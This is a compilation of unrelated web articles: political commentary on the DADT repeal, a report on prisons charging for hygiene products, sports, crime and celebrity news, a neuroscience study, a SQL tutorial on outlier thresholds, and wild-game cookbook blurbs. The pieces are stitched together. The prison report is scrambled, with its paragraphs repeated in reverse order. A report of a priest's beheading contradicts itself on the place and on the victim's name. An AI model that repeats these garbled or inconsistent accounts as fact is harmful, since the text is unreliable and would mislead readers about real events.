-Looking for news you can trust?  Subscribe to our free newsletters.  Well, it’s happened. The sky has fallen, the enemy has broken through the gates, and the empire’s vast, gritty disintegration has begun: Some dude in some National Guard unit has vowed to leave the service, rather than work alongside the gays. Check out the text of his resignation letter below, after the jump.  According to a story called “The Gaying of America” on World Net Daily—the bastion of right-wing watchdog journalism that gave you birtherism—comes this revelation: “President Obama’s repeal of the ‘Don’t Ask, Don’t Tell’ policy is already damaging the U.S. military.” The evidence? A lieutenant colonel who doesn’t want to be named, serving in an Army National Guard battalion in a state that wasn’t identified, has tendered his resignation over the repeal of Don’t Ask, Don’t Tell. And he says he knows of other officers who plan to follow suit. Clearly, all is lost. We might as well roll the tanks out of Baghdad and Afghanistan now and help the Taliban get on with their socialist community organizing or whatever:  The resigning soldier (let’s call him “Braveheart”) writes, without any hint of irony, that he must commit this act of disobedience in order to preserve the great military virtue of obedience:  “When you start trying to attract people who are so self-centered that they put living their lifestyle out in the open above the needs of their country and national defense, then you have a really dangerous combination.”  Huh. You don’t say.  But wait, it’s not ironic enough just yet. Turns out that, as morally outraged as Lt. Colonel Braveheart is, he doesn’t want to leave the service right this minute. “I would like to remain in the XXX Army National Guard until I am eligible for retirement (at 20 years and 0 days), which would be in the late summer of 2012,” he writes, “but on grounds of my religious beliefs, I will not attend sensitivity or behavior modification training consequential to this policy change, even if it means disciplinary action.”  Notwithstanding Braveheart’s brave, principled stand for his retirement pension, he—and WND—would have us believe that the DADT repeal will spur a mass exodus of other righteous vets who can stand enemy fire, desert heat, and working with explosives, but don’t want to catch the gay:  “Very few soldiers are fine with open homosexuals in the service,” said the officer. “I cannot believe the numbers jibe with what was published in the previous survey,” referring to a study commissioned by the Pentagon to assess whether the military could safely repeal DADT. “I did not give up my constitutional rights and freedom of religion when I joined the military. I don’t believe in subjecting myself to all of the behavior modification and sensitivity training. They’re going to try to push the position that this is an acceptable lifestyle.”  I don’t know who this officer is, or if he even exists. But if he does, someone should explain to him how the Uniform Code of Military Justice doesn’t always afford soldiers the same rights civilians enjoy under the Constitution. And if he has sympathizers in the military, perhaps we should be willing to trade their national service for that of Dan Choi, Katie Miller, and Victor Fehrenbach—all top-performing service members of proven character whose military careers are on hold because of their sexual orientation.  “The battlefield has its own values, starting with courage,” one recent war vet wrote in the New York Times in 2009. “Sexual orientation falls somewhere below musical taste.” If Lt. Colonel Braveheart and his ilk want to put their poor taste ahead of their sense of courage, aren’t we better off without them driving our jets, submarines, and battalions?  Judge for yourself. Here’s what the incognito colonel told his superiors:
-That bill never went anywhere, but in a rare move, the Bureau of Prisons issued its policy memo three weeks later.  The new policy came in August after Democratic senators Cory Booker of New Jersey, Elizabeth Warren of Massachusetts, Kamala D. Harris of California, and Dick Durbin of Illinois introduced a bill called the Dignity for Incarcerated Women Act in July that would require free hygiene products for women.  Every woman in federal custody is guaranteed tampons, pads, and panty liners free of charge, according to a new policy established Aug. 1, 2017 . But female inmates and advocates tell VICE News that facilities across the country are still not complying.  Two and a half months after guaranteeing free feminine hygiene products for female inmates, the Federal Bureau of Prisons is still making women pay for tampons, pads, and panty liners.  Read more  Two and a half months after guaranteeing free feminine hygiene products for female inmates, the Federal Bureau of Prisons is still making women pay for tampons, pads, and panty liners.  Every woman in federal custody is guaranteed tampons, pads, and panty liners free of charge, according to a new policy established Aug. 1, 2017. But female inmates and advocates tell VICE News that facilities across the country are still not complying.  The new policy came in August after Democratic senators Cory Booker of New Jersey, Elizabeth Warren of Massachusetts, Kamala D. Harris of California, and Dick Durbin of Illinois introduced a bill called the Dignity for Incarcerated Women Act in July that would require free hygiene products for women.  That bill never went anywhere, but in a rare move, the Bureau of Prisons issued its policy memo three weeks later.  Read: What it’s like to terminate a pregnancy behind bars  “Wardens will ensure inmates are provided the following products (at no cost to the inmates): tampons (regular and super size), maxi pads with wings (regular and super size), and panty liners (regular),” the memo reads.  But the changes promised in the policy aren’t being implemented in several prisons.  The federal facility in Aliceville, Alabama, that holds nearly 1,500 female inmates is still charging women for panty liners, a female inmate told VICE News on condition of anonymity.  “There are panty liners in our commissary for purchase; however, I have never seen panty liners provided free of charge,” she said.  A federal prison in Waseca, Minnesota, that houses more than 700 inmates is still charging women for tampons and panty liners, according to an inmate who also asked to remain anonymous to avoid reprisals.  “Tampons are available on commissary to buy and I’ve seen people use pads to make [tampons],” she said.  A female federal inmate in downtown Miami and another in Fort Worth, Texas, confirmed to VICE News that those prisons are not complying with the policy either.  Watch: Women Unshackled conference addresses women in U.S. prisons  Inmates at another eight federal prisons in West Virginia, Texas, Florida, Illinois, California, and Arizona reported they are still having to pay for feminine hygiene products, according to the National Council for Incarcerated and Formerly Incarcerated Women and Girls and the CAN-DO Foundation.  Amy Povah, director of the CAN-DO Foundation and a former federal inmate herself, said these products are incredibly expensive for inmates who have extremely low-paying prison jobs — around $8 per box.  “Tampons is an unbelievable luxury that most women can’t buy,” she said. “Tampons, pads, panty liners for menstruation cycle — that should be something that’s a basic function that everyone is provided with, like toilet paper.”  The Bureau of Prisons and 11 of the facilities identified as not in compliance did not respond to repeated requests for comment Friday. A spokesperson for the federal prison in Phoenix, Arizona said they have purchased the products and are preparing to make them available.  “This is unacceptable,” said Sen. Booker in a statement to VICE News. “As I said back in August when the Bureau of Prisons issued its memo, these guidelines are simply words on a piece of paper unless they’re followed by concrete action. It seems the Bureau of Prisons is not properly implementing these guidelines across all prisons and I plan to follow up with them directly to get an answer why.”
-Arian Foster's health and transition to a new offense remain question marks for the Houston Texans entering 2014.  So far, the 27-year-old running back grades himself positively on both counts.  Watch "The Top 100 Players of 2014" every week at 9 p.m. ET on NFL Network as we count down to the top player in the NFL. "The Top 100 Players of 2014 Reactions" airs Wednesdays at 10 p.m. ET.  "I'm back," Foster said Wednesday night of his back injury that cost him eight games in 2013, per the Houston Chronicle. "I didn't want it to happen. You can't ever plan for something like that, but it's just part of the game, and you have to deal with it."  Foster underwent back surgery in November.  Health is not the only stumbling block for the starting running back, who will be learning a new offense under coach Bill O'Brien.  "So far, I really like it," Foster said. "It's very versatile. Coach O'Brien has expressed to me how he wants to use me out of the backfield. That's one of my strengths."  Utilizing Foster in the passing game plays to his strengths. Foster sports good hands and, during his breakout seasons in 2010 and 2011, he had 604 and 611 yards receiving respectively. Then the Texans' offense completely bottomed out.  With Ben Tate moving on to the Cleveland Browns, Foster is slated to return to his workhorse ways -- if he can stay healthy. O'Brien's plan to get Foster back into the passing game should increase his value for those fantasy football fanatics.  The latest "Around The League Podcast" breaks down all the big news and begins the search for the new Team of ATL.
-Ottawa police are asking for the public's help to identify the owner of two dogs that were shot and killed by officers in Orléans Saturday morning after they attacked a 25-year-old woman.  Police said the woman — who is not from Ottawa — was still in hospital Monday morning after undergoing surgery Sunday night.  Paramedics said she had severe lacerations to both upper arms, and lacerations on her head, face, back and buttocks.  On Monday, police said investigators are still working to identify the breed of the dogs and who owns them.  "These dogs were on a rampage," said Ottawa Police Service spokesman Const. Marc Soucy.  "We're trying to find out if there are more victims…if you've been a victim of these dogs, please let us know, no matter what [the] nature [of] the bite was, whether it was severe or not. If you were attacked by those dogs, we need to know about it."  The two dogs were shot and killed by police Saturday after they attacked the woman and a 66-year-old man who was trying to help her.  Ottawa paramedics said the man suffered lacerations on his left knee, but was in stable condition.  Police said they were called to the area bordered by 10th Line Road, Tompkins Avenue, Des Epinettes Avenue and Duford Road late Saturday morning where the two large dogs were reportedly loose.  Witnesses used shovels, sticks to pry victims free  "The dogs were going in, they were biting, they were shaking the person. The person on the ground was very bloodied…[The dogs] were just relentless," said witness Steve Outhouse.  "It was very scary. This isn't an individual that you can try and rationalize with. I mean, these dogs were just going at this individual."  Steve Outhouse saw two dogs attack someone at the end of his Orléans street. https://t.co/8eJ8fG4D1W #ottnews pic.twitter.com/CN3ioCDNK8 —@amkfoote  Outhouse said people used brooms, sticks and shovels to pry the victims free. At one point, one of the dogs turned towards a man holding a shovel, he said.  "We all kind of shouted, 'You have to do it.' He took the shovel and took a swing at the dog and hit it," described Outhouse.  Around that point the two dogs split in different directions. Police eventually found them in separate locations and shot them.  Neighbours on edge  On Monday afternoon, some residents in the neighbourhood told CBC News it's "scary" the dogs' owner hasn't been identified, since the area is full of young kids.  Tina Lavoie-Deschamps, who witnessed the attack, said her three young children haven't stopped asking her questions about the incident.  "I'm more nervous about letting [my kids] out," she said.  "My kids are really worried for the lady. They keep asking…'how she's doing, is she really ok?' They're asking me who owns the dogs…This could have happened anywhere, but it's still in the back of my mind…because I saw it."  Police initially reported that a child was also hurt, but they no longer believe that to be true.  Any additional victims are asked to contact police by calling Crime Stoppers toll-free at 1-800-222-8477 or by downloading the Ottawa Police Service app.  Less than a month, ago a 50-year-old woman was rushed to hospital in critical condition after being mauled by a dog in the city's Vanier neighbourhood.
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A new study documents the brain activity underlying our strong tendency to infer a structure of context and rules when learning new tasks (even when a structure isn’t valid). The findings, which revealed individual differences, shows how we try to apply task knowledge to similar situations and could inform future research on learning disabilities.
  PROVIDENCE, R.I. [Brown University] — In life, many tasks have a context that dictates the right actions, so when people learn to do something new, they’ll often infer cues of context and rules. In a new study, Brown University brain scientists took advantage of that tendency to track the emergence of such rule structures in the frontal cortex — even when such structure was not necessary or even helpful to learn — and to predict from EEG readings how people would apply them to learn new tasks speedily.  Context and rule structures are everywhere. They allow an iPhone user who switches to an Android phone, for example, to reason that dimming the screen would involve finding a “settings” icon that will probably lead to a slider control for “brightness.” But when the context changes, inflexible generalization can lead a person temporarily astray — like a small-town tourist who greets strangers on the streets of New York City. In some developmental learning disabilities, the whole process of inferring abstract structures may be impaired.  “The world tends to be organized, and so we probably develop prior [notions] over time that there is going to be a structure,” said Anne Collins, a postdoctoral scholar in the Department of Cognitive, Linguistic, and Psychological Sciences at Brown and lead author of the study published March 25 in the Journal of Neuroscience. “When the world is organized, you just reduce the size of what you have to learn about by being able to generalize across situations in which the same things usually happen together. It is efficient to generalize if there is structure, and there usually is structure.”  Imagined rules  To measure how the phenomenon plays out in the brain, Collins and her colleagues used arrays of EEG electrodes to record the frontal cortex activity of 35 volunteers while they learned and performed some seemingly simple tasks. All subjects had to do was look at some shapes of different colors and learn the correct buttons to punch in response. Then they moved on to two similar tasks with new sets of colors or shapes.  The experimental trick was that there was no actual structure of context and rules to the original task: People could have just learned which button to press for each unique combination of color and shape. People were free, however, to assume instead that either the dimension of color or shape would signify a particular context for indicating how to act in response to the other dimension. This invented hierarchical structure would allow them to learn the initial task, but the experiment was designed so that learning it in this way would help make learning subsequent tasks easier in some conditions (those that shared the same structure as seen previously) and harder in others.  On the whole, participants tended to infer a rule structure, with about half of them (18 of 35) imagining rules dictated by the context of color, while the other half assumed rules based on the context of shape.  Tangible signals  With these behavioral results, the researchers could then look at the EEG data recorded at the same time and search for activity related to the formation of these rule structures in regions of the frontal cortex. They informed their investigation with a computational model of cognition that predicted the following pattern: Subjects will first formulate their idea of the task’s structure in the prefrontal cortex (closer to the forehead), and later formulate the movement plan to press the presumed correct button in a part of the brain a little further back (the premotor cortex).  The EEG readings confirmed this prediction with precise correlations between the timing (and less precisely the locations) of the brain activity and behavior.  The researchers were able to determine from the EEG readings – not just from the behavioral results – which context subjects were imagining: shape or color.  Individual variation  Not everyone was the same. People showed significant individual variation. The extent of structure forming activity in the brain correlated with the extent to which people applied the structure they imagined to the subsequent tasks.  “There are predictable signatures in the neural data that showed if their brains seemed to be representing the structure in the way that we would predict from our models and the behavioral experiments, then they were more likely to be able to use that when it’s helpful afterwards in novel environments,” said Michael Frank, associate professor of cognitive, linguistic, and psychological sciences and the paper’s corresponding author. “There is something to the organization of the prefrontal cortex that facilitates looking for those structures and the ability to generalize them.”  The study offers new information about the basic neuroscience of cognition and learning, but Frank also hypothesizes that the findings could be valuable if applied to the study of learning disabilities.  “So far we’ve only studied young, healthy people, but there is some potential for using the variance across individuals in the tendency to discover structure and for their brains to be looking for that — [the potential] to understand what happens in some disorders where people often won’t think in more abstract ways that allow them to generalize their behaviors,” Frank said.  In addition to Collins and Frank, the paper’s other author is James Cavanaugh, a former Brown postdoctoral researcher who is now a professor at the University of New Mexico.  The National Institutes of Health and the National Science Foundation supported the research.
-Films eligible for two of BAFTA's major categories must show that they have worked to increase representation of minorities.  In an effort to increase diversity in movies and in its membership, the British Academy of Film and Television Arts has announced changes in their eligibility criteria for two of its major film award categories, and removed a rule on how to become a member.  According to the update, films eligible for Outstanding British Film and Outstanding Debut by a British Writer, Director or Producer must show that they have worked to increase representation of minorities, women, people with disabilities, and from lower socio-economic groups in two of four areas: on-screen characters and themes; senior roles and crew; industry training and career progression; and audience access and appeal to under-represented audiences.  “[We believe] they are a flexible and achievable model, which the whole industry can adopt as a shared language for understanding diversity,” BAFTA said in a statement.  According to the BBC, these measures comply with the diversity standards the British Film Institute uses to guide its activities and the projects it funds. These changes will take effect in 2019.  READ MORE: Denzel Washington Talks #OscarsSoWhite and Lack of Diversity at Academy Awards: ‘I’ve Lived It’  As for BAFTA’s membership criteria, for 2017 they removed the requirement that states that a person must be recommended by two existing members in order to join.  “This widens the pool of potential members and ensures that it’s only talent, and not also who you know, that enables BAFTA membership,” the statement said.  Of the 375 BAFTA members joining this year, 43 percent were female, and 18 percent were from minority ethnic groups, with had a median age of 44. By comparison, the Academy of Motion Picture Arts and Sciences’ membership is 23 percent female, 6 percent non-white, and the median age is 62.  In 2016, the Academy was dubbed #OscarsSoWhite for its lack of minority representation in the top acting categories. After the criticism, the Academy lifted the lifetime Oscars voting rights to remove members who haven’t been actively working for years and have been trying to recruit more people from underrepresented groups. At this time, the films eligible for Oscar consideration are not held to any criteria regarding diversity.  Stay on top of the latest breaking film and TV news! Sign up for our Email Newsletter here.
-NEW! KanjiDamage Anki Deck  An official KanjiDamage deck is now available for Anki , a popular flashcard program. Many thanks to miwuc, KD user and great coder! This KanjiDamage deck contains all of KD's kanji plus stroke order diagrams. Please check it out here!  Things we have the others don’t:  All words ranked by usefulness. Over 100 bogus JOYO kanji cut!  Every kanji broken down into its components, math stylezzz.  Over 800 hints to tell look-a-like kanji apart  Over 18 ‘tags’ for things like odd spellings, usu. hiragana, formal, rude, etc.  Over 1,700 mnemonics which include the meaning, radicals, AND onyomi.  Particles taught WITH the words.  Nuances of synonyms explained (i.e. 硬い、堅い、and 固い).  Radicals link to all kanji which include them.  Getting started:  Improved Search!  There is a search box in the menu bar (upper right), and here:  Previously, you could look up a kanji by searching on the English meaning, or the original kanji. You can now search kanji by entering the phonetic transliteration, either onyomi or kunyomi. For example, searching on 'sun' will find two kanji which mean 'sun', two with matching kunyomi (suna, sunareru), and one with an onyomi of SUN. The search box also accepts kana; searching on すな will find すな and すなれる.  Support us!  Please help us improve the accuracy, site design, and Yo Mama jokes here.
-A Norm-al family reunion! Jason Sudeikis bonds with his Cheers star uncle George Wendt  While he is one of the most beloved actors from 1980s sitcom Cheers, to Jason Sudeikis he's a cherished family member.  George Wendt, who shot to fame as Norm on the legendary bar room comedy, plays uncle to the SNL star in real life.  The famous duo were spotted grabbing lunch and then an afternoon stroll together on Friday in Beverly Hills.  A family matter: Jason Sudeikis enjoyed a day out with his uncle George Wendt in Beverly Hills on Friday  The 65-year-old comedy legend wore matching shorts and a T-shirt as he stayed comfy in white trainers.  Setting the pace was his healthy nephew, who donned bright laced high tops and cargo shorts as he teamed the relaxing getup with a blue button down shirt.  Wearing a beard and sunglasses the 38-year-old looked pleased as punch to be hanging with his famous uncle.  Gave him his start: The Cheers alum is said to have encouraged his nephew to audition for SNL  Sneaking around: The pair wore comfy trainers on the family outing  The We're The Millers star explained to Playboy in 2011 how his mother's brother inspired him to embark upon his own career path.  He admitted:'He’s always been very encouraging, but there was no Tuesdays With Morrie kind of relationship between him and I.  'He didn’t take me to the park to explain comic timing. There was nothing like that. He was just a good example that being an actor was a viable option.'  Legend: The 65-year-old looked to be in good spirits  The actor added: 'Here’s a guy from the Midwest, in my family, who took the road less travelled and it worked out for him. The advice he gave me, and I say this jokingly, is "Get on one of the best sitcoms of all time and then ride it out."'  Although Wendt did encourage his nephew to audition for Saturday Night Live after attending one of his improv performances.  Meanwhile, Sudeikis is expecting his first child with Olivia Wilde in May.
-WASHINGTON — The top Democrat on the Senate Judiciary Committee is blasting a Texas federal judge nominee’s views as “reprehensible” after revelations that he once described transgender children as evidence of “Satan’s plan.”  California Sen. Dianne Feinstein, who sits on the judiciary panel with Texas Sens. John Cornyn and Ted Cruz, indicated on Thursday that Democrats could hammer District Court nominee Jeff Mateer in confirmation hearings later this year.  “There’s no question these views cast serious doubt on his ability to fairly enforce federal law and treat people impartially,” she said in a statement.  And Sen. Sheldon Whitehouse, D-R.I., another Judiciary Committee member, said Mateer's nomination was a new low for judge nominees.  "Republicans have lowered the standard for federal judges to get ones who will pass their ideological test: opposition to sensible gun laws, hostility to women's reproductive rights, commitment to protecting political dark money, and disregard for public health and safety protections," he said. "One even called a Supreme Court Justice a 'judicial prostitute,' but Jeff Mateer, who calls transgender children part of 'Satan's plan,' is a new low. This is just not normal."  Meanwhile, questions remain over whether Mateer, first assistant to Texas Attorney General Ken Paxton, disclosed his controversial statements to the state’s Federal Judicial Evaluation Committee.
-The Islamic State decapitated Father Boulos Yacoub in Mosul last year  Father Boulos was caught praying at the altar.  Photo- Agenzia di Stampa  Christians in Pakistan reported, via Religion of Peace:  Terror group Islamic State beheads another Christian this time a priest in the conflict-torn Syria. The Catholic priest Father Yacob Boulos, was severely punished for offering prayers in his church. Media has remained silent over this incident as this incident actually took place on February 18.  There are reliable reports are that Father Yacob Boulos, was beheaded by the terror group’ militants after he prayed on the altar of his church. He was punished for his faith. The Italian newspaper said,” “Boulos Yacoub” was a priest who professava his faith in Syria.”  The Italian newspaper whined over the fact that international media had completely overlooked the plight of these Christians, and this incident went unreported. His crime was only being a man of faith. Condemnation has been heaped on the international leader and community for not paying attention quandary of these Christian priests.
-Inevitably, the unexpected happens. A historically low-traffic channel brings in 10x the normal amount of users. Or your user login rate drops by half. In either case, these are important events that are easy to miss in a sea of data.  In this post we’ll cover a few SQL queries for detecting unusually high or low values in a set of data.  Static Thresholds  We’ll start by using a static threshold in the query below to find rows above or below that threshold. This works well for key numbers that behave in predictable ways, and is trivial to implement.  Let’s define a with table of user data and see what it looks like:  with user_count as (  select  date_trunc('day', created_at)::date as day,  count(1) as value  from users  group by 1  )  select * from user_count  Let’s define outliers as any day with more than a thousand new users:  select *  from user_count  where value > 1000  When we plot the outliers on top of the full data we see:  Static thresholds are simple and effective for basic use cases, but run into problems when data varies month to month and the old fixed threshold no longer applies.  Percentage Thresholds  Percentage thresholds work well for data with a growth trend. A thousand new users per day may be unexpected in January, but typical by July.  With percentage thresholds, our alerts will continually adjust to recent trends. Rather than setting a threshold at a thousand new users, we can set one at 2x the current average.  First let’s add another with table to include the percentage difference vs. the mean for each data point:  with user_count as (  select  date_trunc('day', created_at)::date as day,  count(1) as value  from users  group by 1  ), user_count_with_pct as (  select  day,  value,  value / (avg(value) over ()) as pct_of_mean  from user_count  order by 1  )  select * from user_count_with_pct  The line value / (avg(value) over ()) uses a window function to divide each row’s value by the average value for the entire table. The results are:  If we limit to outliers:  select *  from user_count_with_pct  where pct >= 2.0  We see the days where we had 200%+ of the average signup rate:  Plotted together:  We could make this more robust by limiting the user_count table to just recent users. This prevents skewing the average with data from several months ago.  Standard Deviation Thresholds  While the percentage thresholds are flexible, they still manually picking the threshold. It would convenient if we had a query that would automatically pick a threshold for rare events.  Fortunately, we can use standard deviations. We can automatically define thresholds appropriate for data with either low variance (30% disk usage +/- 1%) or high variance (30% signup rate +/- 10%).  We then choose how sensitive we want to be to outliers. Do we want to detect events with a 5% chance, or a 0.1% chance? Additionally, we have to choose if we care about both high and low values (a two-tailed test), or just one of the two (a one-tailed test).  First, we need to pick a zscore (number of standard deviations) threshold. This page from Boston University has a good explanation and z-scores for different proabilities.  For example, if we care about high or low values that occur only 5% of the time by random chance, we’d use a zscore threshold of +/- 1.645. If we want a 5% threshold exclusively for high values, we’d pick 1.96.  Here’s the SQL for calculating z-scores for the low variance disk usage data:  with data as (  select  date_trunc('day', created_at)::date as day,  count(1) as value  from disk_usage  group by 1  ), data_with_stddev as (  select  day,  value,  (value - avg(value) over ())  / (stddev(value) over ()) as zscore  from data  order by 1  )  select * from data_with_stddev  This is the same query as the percent threshold, but we calculate zscore instead of percent deviation from the mean. The first part of the calculation is (value - avg(value) over ()) which calculates how much a single datapoint deviates from the mean.  The second part / (stddev(value) over ()) divides the deviation by the standard deviation, to measure how many standard deviations the data point is from the mean.  Here’s the outlier query for a two-tailed 5% threshold:  select *  from data_with_stddev  where abs(zscore) >= 1.645  Plotting the disk usage data and outliers together:  And swapping in the high variance signup rate data:  We’ve applied the same standard deviation threshold to queries with very different data, and can still detect the outliers.  Well that was unexpected  We now have a few techniques for finding unusual results. Enjoy discovering the unpredictable in your data!
-When H. A. Hellyer is out walking with his family, strangers sometimes approach him and declare, “Allahu akbar!”  Many Westerners may find it hard to believe these days, but Mr. Hellyer does not recoil in fear.  “I’ll be walking out with my kids,” he said, “and someone will say: ‘Oh, they’re so cute. Allahu akbar.’ And I’ll joke, ‘Thank you — now stop talking to my kids.’”  The Arabic phrase, which means simply “God is great,” has, it sometimes seems, become intertwined with terrorism.  The driver of a truck that mowed down 20 people on a Manhattan bike path on Tuesday was said to have cried out “Allahu akbar” before he was shot by a police officer. The men who carried out the attack on the French newspaper Charlie Hebdo in 2015 shouted it during their onslaught. And the phrase rang through the air as a British soldier was run down near military barracks in 2013 and then hacked to death.
-​A South Carolina sheriff’s deputy has been fired after he was caught on tape repeatedly hitting a handcuffed inmate who had been arrested for possession of marijuana.  The videotape shows Sgt. Oddie Tribble Jr., 50, beating a handcuffed Charles Shelley, 38, with his police baton, breaking the victim’s leg.  The State Law Enforcement Division and the South Carolina Attorney General are now involved in the investigation of the deputy, reports Brad Franko of WIS-TV  Kershaw County Sheriff Steve McCaskill said he fired Sgt. Tribble on Friday, one day after the incident at the Kershaw County Detention Center.  Shelley told TV station WIS by phone on Monday that he and Tribble had “exchanged words,” and then Tribble ordered him to get out of the police van.  “I’m in handcuffs, he tells me to get out of the van and commence to beating me with the pipe he had,” Shelley said.  Sgt. Tribble’s report claimed that he was driving a prisoner transport van to the jail when the victim “became irate and began making threatening comments.”  Tribble’s report said the man threatened to use the Internet to find where he lived, and said “I want to kill your family, your wife, and daughter; anybody that is associated with you in your home,” Tribble claimed.  Once inside the sally port, Tribble claimed he tried to remove the victim from the van when Shelley “jerked away,” and Tribble grabbed the victim by the side. Tribble’s report says Shelley jerked then jerked a second time.  That’s when Tribble’s steel baton came out.  Tribble reported that he “struck SUBY [subject]about his lower extremities” before the man fell.  The man then started listening to “verbal commands,” and Tribble pulled the victim, now with a broken leg, to his feet.  Kershaw County Sheriff’s Lt. Robinson then ordered Tribble to take the man to the emergency room, according to the report.  The South Carolina State Law Enforcement Division (SLED) announced its involvement in the case in a press release on Monday.  “These are all serious allegations and we appreciate each department’s leadership and prompt notification,” said SLED director Reggie Lloyd. “We also greatly appreciate our continuing, strong partnership with the FBI on these and other major investigations,” he claimed.  “These allegations do not reflect the professional work of thousands of South Carolina law enforcement officers each and every day,” Lloyd claimed. “All subjects of these investigations are presumed innocent of these charges at this time.”  South Carolina Attorney General Henry McMaster’s office picked up the case on Monday and will decide on any charges against Sgt. Tribble.  Shelley is still in jail on outstanding warrants for giving false information to police, driving under suspended license second offense, habitual traffic offender, open container, and possession of marijuana.
-Best Wild Game Cookbooks – Venison, Turkey, Moose, Elk, Fish, and other Wild Game Cookbooks  Cooking wild game after a successful hunt is not always the easiest thing to master. The most common mistake is simply treating wild game like we would beef, chicken, or pork, which are so prevalent in our diets. Wild game needs special care, but when you take a little time to learn how to prepare, the rewards are well worth it.  Wild Game Cookbooks  Buck, Buck, Moose: Recipes and Techniques for Cooking Deer, Elk, Moose, Antelope and Other Antlered Things  This is not your father’s venison cookbook. Buck, Buck, Moose is the first comprehensive, lushly photographed, full-color guide to working with and cooking all forms of venison, including deer, elk, moose, antelope and caribou. Buck, Buck, Moose will take you around the world, from nose to tail. The book features more than 100 recipes ranging from traditional dishes from six continents to original recipes never before seen. You’ll also get thorough instructions on how to butcher, age and store your venison, as well as how to use virtually every part of the animal. Buck, Buck, Moose also includes a lengthy section on curing venison and sausage-making. Peppered throughout are stories of the hunt and essays on why venison holds such a special place in human society. Venison is far more than mere food. It is, in many ways, what made us human.  The Complete Guide to Hunting, Butchering, and Cooking Wild Game: Volume 1: Big Game  This invaluable book includes  • recommendations on what equipment you will need—and what you can do without—from clothing to cutlery to camping gear to weapons  • basic and advanced hunting strategies, including spot-and-stalk hunting, ambush hunting, still hunting, drive hunting, and backpack hunting  • how to effectively use decoys and calling for big game  • how to find hunting locations, on both public and private land, and how to locate areas that other hunters aren’t using  • how and when to scout hunting locations for maximum effectiveness  • basic information on procuring hunting tags, including limited-entry “draw” tags  • a species-by-species description of fourteen big-game animals, from their mating rituals and preferred habitats to the best hunting techniques—both firearm and archery—for each species  • how to plan and pack for backcountry hunts  • instructions on how to break down any big-game animal and transport it from your hunting site  • how to butcher your own big-game animals and select the proper cuts for sausages, roasts, and steaks, and how to utilize underappreciated cuts such as ribs and shanks  • cooking techniques and recipes, for both outdoor and indoor preparation of wild game  Fish & Game Cookbook  Whether you’re fishing or hunting deer, elk, rabbit, duck, pheasant or dove, you’ll find recipes and helpful tips in this Fish & Game Cookbook to make your game or fish the centerpiece of a memorable meal. These recipes are easy to prepare and use ingredients you can find right on your pantry shelves or at a nearby store.  Afield: A Chef’s Guide to Preparing and Cooking Wild Game and Fish  Afield throws open the doors of field dressing for novice and experienced hunters alike, supplying the know-how for the next logical step in the local, sustainable food movement. Stemming from a commitment to locally grown vegetables and nose-to-tail cooking, Griffiths is an expert guide on this tour of tradition and taste, offering a combination of hunting lessons, butchery methods, recipes, including how to scale, clean, stuff, fillet, skin, braise, fry and more. Fellow hunting enthusiast and food photographer Jody Horton takes you into the field, follows Griffiths step-by-step along the way and then provides you with exquisite plate photograph of the finished feasts. Filled with descriptive stories and photographs, Afield takes the reader along for the hunt, from duck and dove to deer and wild hog.  The Everything Wild Game Cookbook: From Fowl And Fish to Rabbit And Venison–300 Recipes for Home-cooked Meals  Written with the most exotic wild game and fish in mind, this unusual collection features delicious, original recipes designed to please any meat lover’s palate, including:  Deer, wild boar, buffalo, and bear  Pheasant, quail, and partridge  Saltwater and freshwater catch  Rubs, relishes, and marinades  Trimmings and desserts  Hunt, Gather, Cook: Finding the Forgotten Feast  From field, forest, and stream to table, award-winning journalist Hank Shaw explores the forgotten art of foraging. If there is a frontier beyond organic, local and seasonal, beyond farmers’ markets and grass-def meat, it’s hunting, fishing and foraging your own food. A lifelong angler and forager who became a hunter late in life, Hank Shaw is dedicated to finding a place on the table for the myriad overlooked and underutilized wild foods that are there for the taking — if you know how to find them.  Eat Like a Wildman: 110 Years of Great Game and Fish Recipes  From a collection of some of the wildest, most delicious wild game and fish recipes that Sports Afield magazine has published over the last 110 years, lifelong food connoisseur and cookbook author Rebecca Gray has selected and infused a collection of wonderful old standards with her own culinary wizardry.  The Ultimate Venison Cookbook for Deer Camp  Hunters will take it up a notch from the usual camp house fare and cook like a pro with more 300 favorite recipes from master hunter Harold Webster THE authority on venison cooking. After more than 50 years collecting recipes, Webster shares his BEST recipes for cooking at Deer Camp. Webster says, Cooking at deer camp is not hard, it does not require long hours in the kitchen, a professional cook, exotic ingredients nor years of cooking experience. But what it does require is: Selectively harvesting game that is suitable for the table. Game that has been properly cared for from the field to the table. A simple menu with a measured level of creativity and variation. And, always enjoyed in the company of good friends. Not a book for the masses, this camp house collection is for that exclusive group of avid sportsmen who live for the deer camp experience. In addition to 300 recipes, hand-picked for preparation at the deer camp, there are stories about hunting and history plus hints, tips, and other helpful information. Recipes like Fajita Venison Salad, Grilled Venison T-Bone Steaks with Bourbon Marinade and Banana Pudding with Banana and Cinnamon Sauce will make ensure everyone s coming to the table… and leftovers will be nonexistent. This is one cookbook that should be on every deer camp shelf.  Deer Burger Cookbook: Recipes for Ground Venison Soups, Stews, Chilies, Casseroles, Jerkies, Sausages  With his trademark down-home sense of humor, Cousin Rick Black shares a wide variety of deer burger recipes, so you’ll never get bored eating the same old chili and jerky. Black even reveals his award-winning family bratwurst recipe. Techniques and flavors borrowed from Mexico and Jamaica spice things up, and the book also includes recipes for large crowds.  Wild Gourmet: Naturally Healthy Game, Fish and Fowl Recipes for Everyday Chefs  Looking for new ways to prepare the wild game you harvested this season? Do you want easy recipes that produce unique and delicious results? Do you need tips for processing your venison that will all but guarantee top-notch flavor?  In Wild Gourmet, America’s most-respected chefs share their favorite recipes covering a menagerie of wild meats and a world of flavors. This scrumptiously illustrated cookbook features easy, step-by-step recipes for everything from salmon to whitetail, wild boar to quail and turkey.  Bonus Recommendations:  Mushrooming without Fear: The Beginner’s Guide to Collecting Safe and Delicious Mushrooms  Novices eager to collect tasty wild mushrooms will find this unique guide invaluable. Unlike others, it focuses only on those types that are both safe to eat and delicious. Most important, it presents the eight rules of mushroom gathering in a straightforward fashion—including “Never, never take a mushroom with gills” and “If a mushroom smells rotten, it is rotten.” Among the many mushrooms covered are the cep; the red-cracked, larch, bay, and birch boletes; hen of the woods, chanterelle, trumpet chanterelle, hedgehog fungus, common puffball, horn of plenty, and cauliflower mushroom. Each is identified with several color photographs and identification checklist, and there’s also information on mushroom season, handling, storage, and cooking, complete with recipes.  The Complete Book of Butchering, Smoking, Curing, and Sausage Making: How to Harvest Your Livestock & Wild Game (Complete Meat)  Here’s the ideal hands-on guidebook for self-sufficient farmers, ranchers, and hunters with step-by-step instructions on butchering beef, venison, pork, lamb, poultry, and goats. Time-tested advice on how to cure the meat by smoking or salting helps you preserve your harvest. A final section explains how to make sausages. 